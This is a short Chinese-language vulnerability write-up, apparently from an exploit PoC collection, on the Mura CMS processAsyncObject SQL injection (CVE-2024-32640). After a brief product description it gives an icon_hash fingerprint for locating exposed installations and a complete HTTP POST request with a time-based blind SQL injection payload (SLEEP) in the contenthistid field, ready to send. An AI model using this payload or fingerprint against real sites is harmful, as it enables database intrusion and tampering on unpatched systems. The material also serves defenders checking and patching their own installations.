MuraCMS default存在SQL注入漏洞(CVE-2024-32640)
一、漏洞概述
Mura CMS 是一款用于构建企业级网站和应用程序的开源内容管理系统。它提供了丰富的功能和灵活的架构，使开发者能够轻松地创建各种类型的网站，包括企业门户、电子商务平台、博客和社交网络等。Mura CMS 具有易用性、可扩展性和高性能等特点，同时支持多语言和多平台部署，因此备受开发者和企业的青睐。 Mura CMS processAsyncObject接口处存在SQL注入漏洞，恶意攻击者可能会利用此漏洞修改数据库中的数据，例如添加、删除或修改记录，导致数据损坏或丢失。
二、网络测绘
icon_hash="2130575327"
三、漏洞复现
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
object=displayregion&contenthistid=x%5c'* AND (SELECT 3504 FROM (SELECT(SLEEP(3)))MQYa)-- Arrv&previewid=1